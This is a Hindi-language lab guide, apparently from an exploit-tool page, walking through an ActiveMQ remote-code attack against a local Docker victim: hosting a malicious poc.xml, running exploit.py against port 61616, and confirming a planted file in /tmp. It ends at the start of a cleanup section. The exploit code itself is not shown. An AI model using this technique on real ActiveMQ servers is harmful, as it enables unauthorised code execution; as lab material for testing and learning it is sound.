🚀 चरण-दर-चरण उपयोग गाइड

चरण 1: पीड़ित (ActiveMQ) प्रारंभ करें

हम Docker का उपयोग करके ActiveMQ का एक पुराना, कमजोर संस्करण चलाएंगे।

1. एक टर्मिनल खोलें।
2. vulnerable-env फ़ोल्डर पर जाएं:
   root@kitploit:~

   cd vulnerable-env
   

3. कंटेनर प्रारंभ करें:
   root@kitploit:~

   docker-compose up -d
   

4. सर्वर के पूरी तरह से शुरू होने के लिए 30 सेकंड प्रतीक्षा करें।

चरण 2: दुर्भावनापूर्ण XML होस्ट करें

पीड़ित सर्वर को हमसे निर्देश डाउनलोड करने की आवश्यकता है। हम इन निर्देशों को होस्ट करने के लिए एक छोटा वेब सर्वर स्थापित करेंगे।

1. एक दूसरा टर्मिनल खोलें।
2. attacker फ़ोल्डर पर जाएं:
   root@kitploit:~

   cd attacker
   

3. Python वेब सर्वर प्रारंभ करें:
   root@kitploit:~

   python3 serve.py
   

   इस टर्मिनल को खुला रखें! आपको "Serving HTTP on 0.0.0.0 port 8000..." दिखना चाहिए

चरण 3: Exploit लॉन्च करें

अब हम विशिष्ट नेटवर्क पैकेट भेजते हैं जो कमजोरी को ट्रिगर करता है।

1. एक तीसरा टर्मिनल खोलें।

2. attacker फ़ोल्डर पर जाएं:

   root@kitploit:~

   cd attacker
   

3. एक्सप्लॉइट स्क्रिप्ट चलाएं।

   • नोट: यदि आप macOS या Windows पर हैं, तो नीचे दिए गए कमांड का बिल्कुल वैसे ही उपयोग करें जैसे लिखा गया है।
   root@kitploit:~

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Linux उपयोगकर्ता: यदि आप Linux पर हैं, तो host.docker.internal को नेटवर्क ब्रिज के गेटवे, आमतौर पर: 172.17.0.1 से बदलें। यदि निर्धारित पता काम नहीं करता है तो इस तरह से पता प्राप्त करने का प्रयास करें: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

चरण 4: हैक सत्यापित करें

क्या यह काम किया? आइए देखें कि क्या कंटेनर के अंदर फ़ाइल बनाई गई थी।

1. अपने पहले टर्मिनल (या किसी भी टर्मिनल) पर वापस जाएं।
2. पीड़ित के अंदर /tmp फ़ोल्डर की जांच करने के लिए यह कमांड चलाएं:
   root@kitploit:~

   docker exec activemq-victim ls -l /tmp
   

3. सफलता: आपको pwned_by_ssp_team नाम की एक फ़ाइल दिखनी चाहिए।

🧹 सफाई

कमजोर कंटेनर को रोकने और हटाने के लिए: